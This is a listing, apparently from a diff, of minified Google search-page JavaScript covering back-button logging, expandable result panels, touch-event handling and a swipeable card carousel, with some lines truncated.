+_.fq=function(a,b){a&&(_.gq[a]=b);if(_.lh&&""!==_.Di&&(window.google.pmc.bbd||(0,_.ih)("bbd"))){window.google.pmc.bbd=_.gq;(0,_.jh)();_.kh[_.Di]=window.google.pmc;try{_.lh.set("web-mh",(0,_.Rg)(_.kh))}catch(c){}}};_.hq=function(){for(var a=[],b=[],c=0,d=_.iq.length;c<d;c++){var e=_.iq[c](_.gq[_.jq[c]]);e&&(0==e.indexOf("&")?b.push(e):(0<a.length&&a.push(","),a.push(e)))}a=a.concat(b);window.google._bfr=_.j;a.push("&ei=",window.google.kEI);window.google.log("backbutton",a.join(""))};
+_.kq=function(a){a&&(_.gq=a);_.gq.persisted?(0,_.hq)():_.gq.persisted||(_.gq.persisted=_.j,(0,_.fq)(),window.addEventListener&&(window.addEventListener("pageshow",_.Qba,_.m),_.lq=_.m))};_.Rba=function(a,b){return function(c){c=c||window.event;for(c=c.target||c.srcElement;c.parentNode&&"A"!=c.tagName;)c=c.parentNode;a(c,b?_.gq[b]:_.l)}};_.Qba=function(a){(a.persisted||_.lq)&&!_.Sba&&(0,_.hq)();_.lq=_.j}; _.mq=function(a,b,c,d){d&&(_.gq[d]={});for(var e=window.document.getElementsByTagName [...]
+_.iq=[];_.jq=[];_.Sba=window.google.j&&window.google.j.en;(0,_.fh)("bbd",{init:function(){_.gq={persisted:_.m};window.google._bfr=_.m},history:_.kq,dispose:function(){_.iq.length=0;_.jq.length=0}});
+(0,_.Mc)(_.Dc.I(),"sy28");(0,_.Qc)(_.Dc.I(),"sy28");
+}catch(e){_._DumpException(e)}
+try{
+_.KBa=function(a){return _.LBa.test(a.className)};_.MBa=function(a){var b="",c;for(c in _.D3)_.D3[c].style.display="none";a&&0<=a.Jz&&(b=a.Jz,_.D3[b]&&(_.D3[b].style.display="block"),b="tbpr:idx="+a.Jz);return b};_.NBa=function(a,b){b==_.l&&(b={});b.Jz=a.resultIndex||-1;(0,_.fq)("tbpr",b)};(0,_.Pc)(_.Dc.I(),"sy112");
+_.D3={};_.LBa=/\bl\b/;(0,_.ah)("tbpr",{init:function(){_.D3={};for(var a=window.document.getElementsByTagName("h3"),b=0,c;c=a[b++];)if("tbpr"==c.className){var d=(0,window.Number)(c.id.substr(5));for(_.D3[d]=c;c&&"LI"!=c.nodeName;)c=c.parentNode;if(c){c=c.getElementsByTagName("a");for(var e=0,f=_.ba;f=c[e++];)if((0,_.KBa)(f)){f.resultIndex=d;break}}}(0,_.mq)(_.KBa,_.NBa,_.MBa,"tbpr")}});
+
+(0,_.Mc)(_.Dc.I(),"sy112");(0,_.Qc)(_.Dc.I(),"sy112");
+}catch(e){_._DumpException(e)}
+try{
+_.SBa=function(a){a=a.split(/{|}/);for(var b=1;b<a.length;b+=2){var c=a[b-1],d=a[b];_.J3||(_.J3=window.document.createElement("style"),_.Pe.He?((0,_.T)("xjsc").appendChild(_.J3),_.K3=_.J3.styleSheet):(window.document.getElementsByTagName("head")[0].appendChild(_.J3),_.K3=_.J3.sheet),_.Pe.Lt&&!_.K3&&(_.L3=window.document.createTextNode(""),_.J3.appendChild(_.L3)));if(_.Pe.He)for(var c=c.split(","),e=0,f=_.ba;f=c[e++];)_.K3.addRule(f,d);else d=c+"{"+d+"}",_.Pe.Lt&&!_.K3?_.L3.data+=d:_.K3.i [...]
+(0,_.ha)("google.acrs",_.SBa,_.ba);
+(0,_.Mc)(_.Dc.I(),"sy114");(0,_.Qc)(_.Dc.I(),"sy114");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"tbui");
+(0,_.Mc)(_.Dc.I(),"tbui");(0,_.Qc)(_.Dc.I(),"tbui");
+}catch(e){_._DumpException(e)}
+try{
+_.lu=function(a,b,c,d,e){this.zn=a;this.SJ=b;this.M=d;this.XK=e;this.D="/mbd?jsid="+a+(b?"&docid="+b:"")+"&resnum="+a.replace(/[^0-9]/,"")+"&mbtype="+d+"&usg="+c+"&hl="+(window.google.kHL||"");this.nh={};this.N={};_.mu[a]={open:_.m,content:this.nh,doc:this.SJ,sent:_.m};this.H=0;this.B=_.j;this.Ot=this.VN=_.m;this.LA=this.zy=this.Rj=_.l};_.nu=function(a){var b="",c;for(c in a.N)b=[b,"&",c,"=",a.N[c]].join("");return b};
+_.ou=function(a,b){a.SD.style.paddingTop=b+"px";a.SD.style.display=a.SD.innerHTML?"":"none";b>a.H&&(a.H=b);a.LA.style.fontSize=b+"px";a.LA.style.fontSize=""};_.pu=function(a){window.google.log("manybox",[a.Ot?"close":"open","&id=",a.zn,"&docid=",a.SJ,"&mbtype=",a.M,(0,_.nu)(a)].join(""))};_.qu=function(a,b){var c=(0,_.oh)();if(c){var d=window.google.time();window.google.mcp&&(d=window.google.mcp(d));c.open("GET",a.D+(0,_.nu)(a)+"&zx="+d);a.X=_.m;c.onreadystatechange=(0,_.Xa)(a.CY,a,c,b); [...]
+_.wca=function(a){a.nh.WC||(_.ru&&_.ru.m_errors&&(_.ru.m_errors[a.M]?a.nh.WC=_.ru.m_errors[a.M]:_.ru.m_errors["default"]&&(a.nh.WC=_.ru.m_errors["default"])),a.o_=a.zy.onclick,a.zy.onclick=(0,_.Xa)(function(){_.su=_.m;(0,_.tu)(this);_.su=_.j;this.ox.parentNode.removeChild(this.ox);_.mu[this.zn].sent=this.nh.WC=this.iO=_.m;this.zy.onclick=this.o_},a));if(!a.iO){a.iO=_.j;var b=(0,_.T)("res");a.ra=b&&(0,_.Of)(a.Rj)>(0,_.Of)(b)+(0,_.Nf)(b);a.ox=window.document.createElement("div");(0,_.ou)(a [...]
+"absolute";a.ox.style.paddingTop=a.ox.style.paddingBottom="6px";a.ox.style.display="none";a.ox.className="med";b=window.document.createElement("div");a.ox.appendChild(b);b.className="std";b.innerHTML=a.nh.WC+(_.uu?"<p><a href="+a.D+(0,_.nu)(a)+"&deb="+window.google.kDEB+">MBD request</a>":"");a.SD.parentNode.insertBefore(a.ox,a.SD);a.Bk=(0,_.T)("mbcb"+a.zn);a.Bk&&a.Bk.getAttribute("overlaycontent")&&(a.B=_.m)}};_.vu=function(a,b){a.ox.style.clip="rect(0px,"+(a.Rj.width||"34em")+","+(b||1 [...]
+_.wu=function(a){a.Ot=_.mu[a.zn].open=_.j;var b=a.Bk&&a.Bk.getAttribute("mbopen");b&&(eval(b),a.onopen(a.Bk))};_.xca=function(a){var b=a.Bk&&a.Bk.getAttribute("mbpreopen");b&&(eval(b),a.onpreopen(a.Bk))};
+_.tu=function(a){a.ka=_.m;if(!a.Rj.Ia){a.Rj.Ia=_.j;var b;if(a.Ot){if(b=a.Bk&&a.Bk.getAttribute("mbclose"))eval(b),a.onclose(a.Bk);b=a.B?a.S-(0,_.Mf)(a.Rj):0;a.B&&(a.SD.style.display="none",(0,_.ou)(a,a.H),a.ox.style.position="absolute")}else a.S=(0,_.Mf)(a.Rj),(0,_.wca)(a),(0,_.ou)(a,0),a.H=0,(0,_.xu)(function(a){a.LA.title=""}),(0,_.xca)(a),a.B&&(_.yu?(a.LA.innerHTML="−",(0,_.Ff)(a.LA,"mbto")):a.LA.style.backgroundPosition=_.zu,a.rL.innerHTML=a.XK,(0,_.vu)(a,1),a.ox.style.position [...]
+a.ox.style.display=""),b=a.B?a.ox.offsetHeight:0;a.bO((0,_.Mf)(a.Rj),b,_.Qe.FB?2:1,window.google.time())}};_.xu=function(a){for(var b in _.Au)if(_.Au[b].zn&&a(_.Au[b]))break};
+_.Bu=function(a){a&&(_.ru=a,_.yu=_.ru.utp,_.Cu=_.ru.nlpp||"-114px -78px",_.zu=_.ru.nlpm||"-126px -78px",_.uu=_.ru.db);for(a=0;a<_.Du.length;a++)try{_.Du[a].func()}catch(b){delete _.Au[_.Du[a].id]}_.Du=[];(0,_.xu)(function(a){a.VN||(a.VN=_.j,a.Rj=(0,_.T)("mbb"+a.zn),a.Rj?(a.Ot=_.m,a.zy=(0,_.T)("mbl"+a.zn),a.zy?(a.LA=a.zy.getElementsByTagName("DIV")[0],a.rL=a.zy.getElementsByTagName("A")[0],a.hR=a.rL.innerHTML,a.XK=a.XK||a.hR,a.LA.title=_.ru&&_.ru.m_tip,a.SD=(0,_.T)("mbf"+a.zn),(0,_.ou)(a, [...]
+_.uu=_.m;_.su=_.j;_.yu=_.m;_.F=_.lu.prototype;_.F.append=function(a){for(var b=0;b<a.length;++b){var c=a[b].split("=");this.N[c[0]]=c[1]}};
+_.F.CY=function(a,b){if(4==a.readyState){var c=_.m;if(200==a.status)try{eval(a.responseText),c=_.j}catch(d){}!c&&!this.WB?(_.mu[this.zn].sent=_.m,this.WB=_.j,this.D+="&cad=retry",(0,_.qu)(this,b)):(b?((0,_.T)("mbcb"+this.zn).parentNode.innerHTML=this.nh.WC+(_.uu?"<p><a href="+this.D+(0,_.nu)(this)+"&deb="+window.google.kDEB+">MBD request</a>":""),(0,_.wu)(this)):this.ka&&(0,_.tu)(this),this.X=_.m)}};
+_.F.load=function(){_.mu[this.zn].sent?3>this.Ja++&&(0,_.pu)(this):(this.nh.WC?(0,_.pu)(this):(0,_.qu)(this,_.m),_.mu[this.zn].sent=_.j,this.Ja=1)};_.F.DP=function(){_.mu[this.zn].sent||this.load();(this.ka=this.X)||(0,_.tu)(this)};_.F.aH=function(){var a=window.document.createEvent?window.document.createEvent("MouseEvents"):window.document.createEventObject();this.zy.onmousedown(a);this.zy.onclick(a)};_.F.SY=function(a){this.nh.WC=a};_.F.y1=function(){(0,_.qu)(this,_.j)};
+_.F.bO=function(a,b,c,d){var e=0<b?150:75,f=window.google.time()-d,e=f<e&&_.su?f/e*b:1<c?b-10:b,f=window.Math.max(this.S,a+e),g=f-this.S;(0,_.vu)(this,g);this.Rj.style.height=0>f?0:g?f+"px":"";(0,_.ou)(this,window.Math.max(0,g-5));window.Math.abs(e)<window.Math.abs(b)&&this.B?window.setTimeout((0,_.Xa)(this.bO,this,a,b,c-1,d),30):window.setTimeout((0,_.Xa)(this.IW,this),0)};
+_.F.IW=function(){this.Ot?(this.ox.style.display="none",_.yu?(this.LA.innerHTML="+",(0,_.Gf)(this.LA,"mbto")):this.LA.style.backgroundPosition=_.Cu,this.rL.innerHTML=this.hR,this.Ot=_.mu[this.zn].open=_.m,(0,_.ci)(_.Eu,_.mu)):(0,_.wu)(this);this.B&&(!_.Pe.He&&this.ra&&(this.ox.style.width="100px"),this.ox.style.position=this.Rj.style.height="",(0,_.ou)(this,0),(0,_.xf)(48));this.Rj.Ia=_.m;(0,_.ci)(_.Eu,_.mu)};_.Au={};_.mu={};_.Du=[];
+_.Eu=(0,_.Yh)(function(a){_.su=_.m;(0,_.Bu)();(0,_.xu)(function(b){b.SJ==a[b.zn].doc?(b.nh=a[b.zn].content,a[b.zn].open!=b.Ot&&(0,_.tu)(b)):a[b.zn].sent=_.m});_.mu=a;_.su=_.j;(0,_.ci)(_.Eu,_.mu);window.google.ml((0,window.Error)("mb"),_.m,{cause:"hist"})});
+(0,_.rh)(window.document,"click",function(a){a=a||window.event;for(var b=a.target||a.srcElement;b.parentNode;){if("A"==b.tagName||b.onclick)return;b=b.parentNode}var c=a.clientX+window.document.body.scrollLeft+window.document.documentElement.scrollLeft,d=a.clientY+window.document.body.scrollTop+window.document.documentElement.scrollTop;(0,_.xu)(function(a){var b=(0,_.Of)(a.zy),g=(0,_.xe)(a.zy);if(c>b-5&&c<b+(0,_.Nf)(a.zy)+5&&d>g-5&&d<g+(0,_.Mf)(a.zy)+5)return a.aH(),1})});
+(0,_.ha)("ManyBox.delayedRegister",function(a){_.Du.push(a)},_.ba);_.lu.prototype.append=_.lu.prototype.append;(0,_.ha)("ManyBox.create",function(a,b,c,d,e){return new _.lu(a,b,c,d,e)},_.ba);(0,_.ha)("ManyBox.register",function(a,b,c,d,e){return _.Au[a]=new _.lu(a,b,c,d,e)},_.ba);_.lu.prototype.insert=_.lu.prototype.SY;_.lu.prototype.loadManyboxData=_.lu.prototype.load;_.lu.prototype.toggleManyboxState=_.lu.prototype.DP;_.lu.prototype.updateManybox=_.lu.prototype.y1; (0,_.ah)("mb",{init: [...]
+
+(0,_.Mc)(_.Dc.I(),"mb");(0,_.Qc)(_.Dc.I(),"mb");
+}catch(e){_._DumpException(e)}
+try{
+_.zk=function(a,b,c,d,e){var f=!!d;a.addEventListener(b,c,f);e&&((0,_.zk)(a,"DOMFocusIn",function(d){d.target&&"TEXTAREA"==d.target.tagName&&a.removeEventListener(b,c,f)}),(0,_.zk)(a,"DOMFocusOut",function(d){d.target&&"TEXTAREA"==d.target.tagName&&a.addEventListener(b,c,f)}))};_.Ak=function(a,b,c,d,e,f,g){!_.Bk&&!_.Ck&&(b=(0,_.Dk)(b),c=(0,_.Dk)(c),d=(0,_.Dk)(d));f=!!f;(0,_.zk)(a,_.Ek,b,f,g);(0,_.zk)(a,_.Fk,c,f,g);(0,_.zk)(a,_.Gk,d,f,g);(0,_.zk)(a,_.Hk,e,f,g)};
+_.Dk=function(a){return function(b){b.touches=[];b.targetTouches=[];b.changedTouches=[];b.type!=_.Gk&&(b.touches[0]=b,b.targetTouches[0]=b);b.changedTouches[0]=b;a(b)}};_.Ik=function(a){return a.touches||[a]};_.Jk=function(a){return _.Ck?[a]:a.changedTouches};(0,_.Pc)(_.Dc.I(),"sy9");
+_.fba=/Mac OS X.+Silk\//;_.Bk=/iPhone|iPod|iPad/.test(window.navigator.userAgent)||-1!=window.navigator.userAgent.indexOf("Android")||_.fba.test(window.navigator.userAgent);_.Ck=window.navigator.msPointerEnabled;_.Ek=_.Bk?"touchstart":_.Ck?"MSPointerDown":"mousedown";_.Fk=_.Bk?"touchmove":_.Ck?"MSPointerMove":"mousemove";_.Gk=_.Bk?"touchend":_.Ck?"MSPointerUp":"mouseup";_.Hk=_.Ck?"MSPointerCancel":"touchcancel";
+
+(0,_.Mc)(_.Dc.I(),"sy9");(0,_.Qc)(_.Dc.I(),"sy9");
+}catch(e){_._DumpException(e)}
+try{
+_.lm=function(a,b,c,d){var e=(0,window.RegExp)("(?:^| +)"+c+"(?:$| +)"),f=d||"",g=(0,window.RegExp)("(?:^| +)"+f+"(?:$| +)");b==e.test(a.className)&&(!d||b!=g.test(a.className))||(d=a.className.replace(e," ").replace(g," "),a.className=d+" "+(b?c:f))};(0,_.Pc)(_.Dc.I(),"sy17");
+
+(0,_.Mc)(_.Dc.I(),"sy17");(0,_.Qc)(_.Dc.I(),"sy17");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"sy71");
+(0,_.Mc)(_.Dc.I(),"sy71");(0,_.Qc)(_.Dc.I(),"sy71");
+}catch(e){_._DumpException(e)}
+try{
+_.jH=function(a){return new _.Vc(a.clientX,a.clientY)};_.Efa=function(a){if(!(2500<(0,_.zg)()-_.Ffa)){var b=(0,_.jH)(a);if(!(1>b.x&&1>b.y)){for(var c=0;c<_.kH.length;c+=2)if(25>window.Math.abs(b.x-_.kH[c])&&25>window.Math.abs(b.y-_.kH[c+1])){_.kH.splice(c,c+2);return}a.stopPropagation();a.preventDefault();(a=_.lH)&&a()}}};
+_.Gfa=function(a){var b=(0,_.jH)((0,_.Ik)(a)[0]);_.kH.push(b.x,b.y);window.setTimeout(function(){for(var a=b.x,d=b.y,e=0;e<_.kH.length;e+=2)if(_.kH[e]==a&&_.kH[e+1]==d){_.kH.splice(e,e+2);break}_.lH=_.ba},2500)};
+_.mH=function(a,b,c){_.lH=c;_.kH||(window.document.addEventListener("click",_.Efa,_.j),c=_.Gfa,!_.Bk&&!_.Ck&&(c=(0,_.Dk)(c)),(0,_.zk)(window.document,_.Ek,c,_.j,_.j),_.kH=[]);_.Ffa=(0,_.zg)();for(c=0;c<_.kH.length;c+=2)if(25>window.Math.abs(a-_.kH[c])&&25>window.Math.abs(b-_.kH[c+1])){_.kH.splice(c,c+2);break}};(0,_.Pc)(_.Dc.I(),"sy72");
+
+(0,_.Mc)(_.Dc.I(),"sy72");(0,_.Qc)(_.Dc.I(),"sy72");
+}catch(e){_._DumpException(e)}
+try{
+_.Hfa=function(){this.D=[];this.B=[]};_.nH=function(a,b,c){for(;b.length&&250<c-b[1]||10<b.length;)b.splice(0,2)};_.Ifa=function(a,b){var c=window.Math.abs(b);5<c&&(c=6>a.B.length?1:5);return c*(0>b?-1:1)};_.oH=function(a){return _.Ck?a.pointerId:a.identifier};_.pH=function(a,b,c,d){var e=window.document.createEvent("HTMLEvents");e.initEvent(b,_.j,_.j);e.sender=c;e.B=d;a.dispatchEvent(e)};_.qH=function(a){return a+"_"+_.Jfa++};
+_.rH=function(a,b,c,d,e){var f=window.pageYOffset;a=(0,_.xe)((0,_.T)(a));if(!(0>a)){a+=b||0;b=c||200;d=d||(0,_.ca)();e=b/(e||25);for(c=1;c<=e;c++){var g=c/e,h=f+(a-f)*d(g);window.setTimeout(function(a){return function(){window.scrollTo(0,a)}}(h),b*g)}}};_.sH=function(a,b,c){this.Lf=a;this.Je=b;this.H=c;this.D=[];this.S=[];this.Ja=[];this.Fa=[];this.X=[];this.ka=[]};
+_.tH=function(a,b){for(var c,d=(0,_.Jk)(b),e=d.length,f=0;f<a.B;f++){a.S[f]=_.ba;for(var g=0;g<e;g++)if(a.D[f]==(0,_.oH)(d[g])){a.S[f]=d[g];c=_.j;break}}return c};_.uH=function(a,b){var c=b||0,d=a.S[c];return d?d.clientX:a.Lf[a.D[c||0]]};_.vH=function(a,b){var c=b||0,d=a.S[c];return d?d.clientY:a.Je[a.D[c||0]]};_.wH=function(a,b,c){_.sH.call(this,b,c,1);this.Xc=a;this.Ia=new _.Hfa};_.xH=function(a){return(0,_.vH)(a)-a.np};_.yH=function(a){return(0,_.uH)(a)-a.Hk};
+_.zH=function(a,b,c){_.sH.call(this,b,c,2);this.N=a};_.AH=function(a){this.M=a;this.Xb=this.M.Aa();this.D={};this.H={};this.B=[]};_.BH=function(a,b,c){var d=a.B[b];if(d)return d;d=new _.Kfa[b](c,a.D,a.H);return a.B[b]=d};_.Lfa=function(a,b){a.M.YA(_.l);for(var c=a.B.length,d=0;d<c;d++){var e=a.B[d];if(e){var f=e;if(!f.ra&&0<f.B){for(var e=_.ba,g=0;g<f.B;g++)if(f.D[g]==b){e=g;break}(0,_.ja)(e)&&(f.M&&f.jb(_.l),f.D.splice(e,1),f.B--,f.M=_.m)}}}delete a.D[b];delete a.H[b]}; _.CH=function(a, [...]
+_.sH.prototype.B=0;_.sH.prototype.reset=function(){this.B=0;this.ra=this.M=_.m};(0,_.ab)(_.wH,_.sH);_.wH.prototype.pj=function(a){var b=this.Ia,c=this.X[0],d=this.ka[0];a=a.timeStamp;b.D.length=b.B.length=0;b.D.push(c,a);b.B.push(d,a);this.Hk=this.X[0];this.np=this.ka[0]};_.wH.prototype.Sg=function(a){return this.Xc.Mz(a)};
+_.wH.prototype.Rb=function(a){this.Hk=this.X[0];this.np=this.ka[0];var b=this.Ia,c=(0,_.uH)(this),d=(0,_.vH)(this),e=a.timeStamp,f=b.D[b.D.length-2]-c,g=b.B[b.B.length-2]-d,h=b.D,i=b.H;i&&(f&&2<h.length&&0<i^0<f)&&h.splice(0,h.length-2);h=b.B;(i=b.M)&&(g&&2<h.length&&0<i^0<g)&&h.splice(0,h.length-2);(0,_.nH)(b,b.D,e);(0,_.nH)(b,b.B,e);b.D.push(c,e);b.B.push(d,e);b.H=f;b.M=g;this.Xc.Lz(a);a.preventDefault()};
+_.wH.prototype.jb=function(a){if(a){var b;b=this.Ia;var c=this.Lf[this.D[0]],d=this.Je[this.D[0]],e=a.timeStamp;(0,_.ja)(c)&&(0,_.ja)(d)&&e?((0,_.nH)(b,b.D,e),(0,_.nH)(b,b.B,e),c=b.D.length?(c-b.D[0])/(e-b.D[1]):0,d=b.B.length?(d-b.B[0])/(e-b.B[1]):0,c=(0,_.Ifa)(b,c),d=(0,_.Ifa)(b,d),b=new _.Vc(c,d)):b=_.ba;this.N=b||_.ba;a.preventDefault()}this.Xc.hB(a);(0,_.mH)(this.X[0],this.ka[0])};
+(0,_.ab)(_.zH,_.sH);_.zH.prototype.pj=_.ka;_.zH.prototype.Sg=function(a){return this.N.H(a)};_.zH.prototype.Rb=function(a){this.N.D(a);a.preventDefault()};_.zH.prototype.jb=function(a){this.N.B(a);a&&a.preventDefault()};_.Kfa=[_.wH,_.zH];
+_.AH.prototype.X=function(a){var b=(0,_.Ik)(a),c=b.length,d;for(d in this.D){for(var e=0;e<c;e++)if(d==(0,_.oH)(b[e])){var f=_.j;break}f||(0,_.Lfa)(this,+d)}b=(0,_.Jk)(a);c=b.length;for(e=0;e<c;e++)d=(0,_.oH)(b[e]),(0,_.ja)(this.D[d])&&(0,_.Lfa)(this,+d);c=_.j;e=this.B.length;for(b=0;b<e;b++)if((d=this.B[b])&&d.B!=d.H){c=_.m;break}if(!c&&this.M.ZA(a)){c=(0,_.Jk)(a);d=c.length;for(b=0;b<d;b++){var f=c[b],g=(0,_.oH)(f);this.D[g]=f.clientX;this.H[g]=f.clientY}for(b=0;b<e;b++)if(d=this.B[b]) [...]
+a,!c.ra&&c.B!=c.H){for(var f=(0,_.Jk)(d),g=window.Math.min(f.length,c.H-c.B),h=0;h<g;h++){var i=f[h];c.D[c.B]=(0,_.oH)(i);c.X[c.B]=i.clientX;c.ka[c.B]=i.clientY;c.B++}(0,_.tH)(c,d);if(c.B==c.H)for(h=0;h<c.H;h++)c.Ja[h]=c.Fa[h]=0;c.pj(d)}}};
+_.AH.prototype.S=function(a){for(var b=_.j,c=this.B.length,d=0;d<c;d++){var e=this.B[d];if(e&&0<e.B){b=_.m;break}}if(!b){for(d=0;d<c;d++)if(e=this.B[d])if(b=e,e=a,!b.ra&&b.B==b.H&&(0,_.tH)(b,e))if(b.M)b.Rb(e);else{for(var f=_.ba,g=0;g<b.H;g++){var h=b.S[g];if(h){var i=b.D[g],n=b.Je[i]-h.clientY;b.Ja[g]+=window.Math.abs(b.Lf[i]-h.clientX);b.Fa[g]+=window.Math.abs(n);f=f||2<b.Ja[g]||2<b.Fa[g]}}if(f){for(g=0;g<b.H;g++)b.X[g]=(0,_.uH)(b,g),b.ka[g]=(0,_.vH)(b,g);b.M=b.Sg(e);b.M?b.Rb(e):b.rese [...]
+c=a.length;for(d=0;d<c;d++)b=a[d],e=(0,_.oH)(b),(0,_.ja)(this.D[e])&&(this.D[e]=b.clientX,this.H[e]=b.clientY)}};
+_.AH.prototype.N=function(a){for(var b=(0,_.Jk)(a),c=b.length,d,e=0;e<c;e++){var f=b[e],f=(0,_.oH)(f);(0,_.ja)(this.D[f])&&(this.M.YA(a),d=_.j)}if(d){d=this.B.length;for(e=0;e<d;e++)if(f=this.B[e]){var g=a;if(!f.ra&&0<f.B&&(0,_.tH)(f,g)){f.M&&f.jb(g);for(var g=f.B,h=0,i=0;i<g;i++)if(f.S[i]){var n=f;n.D.splice(i-h,1);n.B--;n.M=_.m;h++}}}for(e=0;e<c;e++)f=b[e],f=(0,_.oH)(f),(0,_.ja)(this.D[f])&&(delete this.D[f],delete this.H[f])}}; _.AH.prototype.reset=function(){for(var a in this.D)delet [...]
+
+(0,_.Mc)(_.Dc.I(),"sy73");(0,_.Qc)(_.Dc.I(),"sy73");
+}catch(e){_._DumpException(e)}
+try{
+_.Yia=function(a,b,c,d){this.LD=a;this.hz=b;this.B=c;this.D=d};_.Zia=function(a){if(a.B){var b=a.D.scrollHeight>a.D.offsetHeight&&!(0,_.If)(a.B,"cv_disabled");a.B.style.display=b?"block":"none"}};
+_.$K=function(a,b){this.Ia=b||{};this.Ja=!!(0,_.aL)(this,"cardClickToSelect",_.m);this.FC=(0,window.Number)((0,_.aL)(this,"cardWidthPercent",100));this.Xc=!!(0,_.aL)(this,"swipeVelocity",_.m);this.jb=(0,window.Number)((0,_.aL)(this,"swipeSensitivity",0.2));this.Fa=!!(0,_.aL)(this,"dragScrollEnabled",_.j);this.ZF=!!(0,_.aL)(this,"snapToCard",_.j);this.S=(0,_.aL)(this,"cardSelectCallback",_.l);this.Rb=(0,_.aL)(this,"swipeStartCallback",_.l);this.ka=!!(0,_.aL)(this,"useWebkitTransform",_.j) [...]
+this.B=a.getElementsByClassName("cv_slider")[0];this.ra=_.l;var c=a.getElementsByClassName("cv_navigation");0<c.length&&(this.ra=c[0]);this.tO=a.getElementsByClassName("cv_more")[0];this.Vt=[];this.H={};for(var c=a.getElementsByClassName("cv_card"),d=a.getElementsByClassName("cv_selector"),e=a.getElementsByClassName("cv_card_footer"),f=a.getElementsByClassName("cv_card_content"),g=c.length==d.length,h=c.length==e.length,i=0;i<c.length;i++){var n=new _.Yia(c[i],g?d[i]:_.l,h?e[i]:_.l,f[i]) [...]
+n;n.Ra()&&this.Vt.push(n)}this.xy=_.m;this.wJ=[];this.X=[];this.D=this.Vt[0];(0,_.Zia)(this.D);(0,_.$ia)(this,this.D);for(var p in this.H)this.H[p].hz&&(this.H[p].hz.onclick=(0,_.Xa)(this.bR,this,this.H[p])),this.Ja&&(this.H[p].LD.onclick=(0,_.Xa)(this.bR,this,this.H[p]));(0,_.aja)(this);this.fR();(0,_.Dh)((0,_.Xa)(this.fR,this));this.Ur=new _.AH(this);(0,_.CH)(this.Ur,_.j);this.M=(0,_.BH)(this.Ur,0,this)};_.aL=function(a,b,c){return b in a.Ia?a.Ia[b]:c};
+_.bja=function(a){return 1-window.Math.pow(1-a,2)};_.bL=function(a,b){if(b){var c=a.ka?"-webkit-transform":(0,_.Kf)()?"right":"left";a.B.style.WebkitTransition=c+" 300ms cubic-bezier(0, 0, 0.3, 1)"}else a.B.style.WebkitTransition=""};
+_.cL=function(a,b,c,d){(0,_.Zia)(b);d&&(a.xy=_.j,(0,_.bL)(a,_.j));a.ZF?(d=a.B.offsetWidth*(a.FC/100),d*=-a.Vt.indexOf(b),(0,_.Kf)()&&(d=-d),(0,_.dL)(a,d,"px")):(0,_.Kf)()?(0>a.Nx&&((0,_.bL)(a,_.j),a.Nx=0,(0,_.dL)(a,0)),d=(0,_.eL)(a),a.Nx>d&&((0,_.bL)(a,_.j),a.Nx=d,a.rD=a.Nx/a.B.offsetWidth,(0,_.dL)(a,100*a.rD,"%"))):(0<a.Nx&&((0,_.bL)(a,_.j),a.Nx=0,(0,_.dL)(a,0)),d=-(0,_.eL)(a),a.Nx<d&&((0,_.bL)(a,_.j),a.Nx=d,a.rD=a.Nx/a.B.offsetWidth,(0,_.dL)(a,100*a.rD,"%")));c&&(a.N===_.l||(0,_.rH)(a. [...]
+window.setTimeout((0,_.Xa)(function(){(0,_.$ia)(this,b);this.xy=_.m;(0,_.bL)(this,_.m);if(this.ZF){var a=-this.Vt.indexOf(b)*this.FC;(0,_.Kf)()&&(a=-a);(0,_.dL)(this,a,"%")}for(;this.wJ.length;)this.wJ.shift()();this.tO&&(this.tO.style.display=b==this.Vt[this.Vt.length-1]?"block":"none")},a),300)};_.cja=function(a,b){a.B.style["-webkit-tap-highlight-color"]=b?"":"rgba(0,0,0,0)"};
+_.dL=function(a,b,c){c=c||"px";a.ka?a.B.style.WebkitTransform="translate3d("+b+c+", 0, 0)":(0,_.Kf)()?a.B.style.right=b+c:a.B.style.left=b+c};_.aja=function(a){for(var b=(0,_.Kf)(),c=0;c<a.Vt.length;c++){var d=a.Vt[c].LD;b?d.style.right=c*a.FC+"%":d.style.left=c*a.FC+"%";a.ka&&(d.style.WebkitTransform="translate3d(0,0,0)")}};_.fL=function(a,b){var c=a.H[b];(0,_.lm)(c.LD,_.m,"cv_hidden");c.hz&&(0,_.lm)(c.hz,_.m,"cv_hidden")}; _.$ia=function(a,b){a.D&&a.D.hz&&a.D.hz.removeAttribute("active [...]
+_.Yia.prototype.Ra=function(){return!(0,_.If)(this.LD,"cv_hidden")};_.F=_.$K.prototype;_.F.hC=0;_.F.Nx=0;_.F.rD=0;_.F.EP=_.l;_.F.fR=function(){var a=window.orientation;this.EP!=a&&(this.EP=a,(0,_.lm)(this.N,(0,_.Ah)(),"cv_landscape"))};_.F.Aa=(0,_.ga)("B");_.F.ZA=function(){(0,_.bL)(this,_.m);return _.j};_.F.YA=_.ka;
+_.F.Mz=function(a){if(1<(0,_.Ik)(a).length)return _.m;if(a=window.Math.abs((0,_.yH)(this.M))>window.Math.abs((0,_.xH)(this.M))){this.Rb&&this.Rb();this.xy=_.j;this.Fa&&(this.N===_.l||(0,_.rH)(this.N,0,200,_.bja));if(this.ZF){var b=this.B.offsetWidth*(this.FC/100);this.hC=(0,_.Kf)()?this.Vt.indexOf(this.D)*b:-this.Vt.indexOf(this.D)*b}else this.hC=this.rD*this.B.offsetWidth;(0,_.cja)(this,_.m)}return a};
+_.F.Lz=function(){var a=(0,_.yH)(this.M),b=this.Vt.indexOf(this.D);if(this.ZF)if((0,_.Kf)()){if(0==b&&0>a||b==this.Vt.length-1&&0<a)a/=2}else{if(0==b&&0<a||b==this.Vt.length-1&&0>a)a/=2}else{var c=this.hC+a;(0,_.Kf)()?0>c?a=-this.hC+c/2:(b=(0,_.eL)(this),c-=b,0<c&&(a=b-this.hC+c/2)):0<c?a=-this.hC+c/2:(b=(0,_.eL)(this),c=-c-b,0<c&&(a=-b-this.hC-c/2))}this.Nx=this.hC+a;(0,_.dL)(this,this.Nx)};
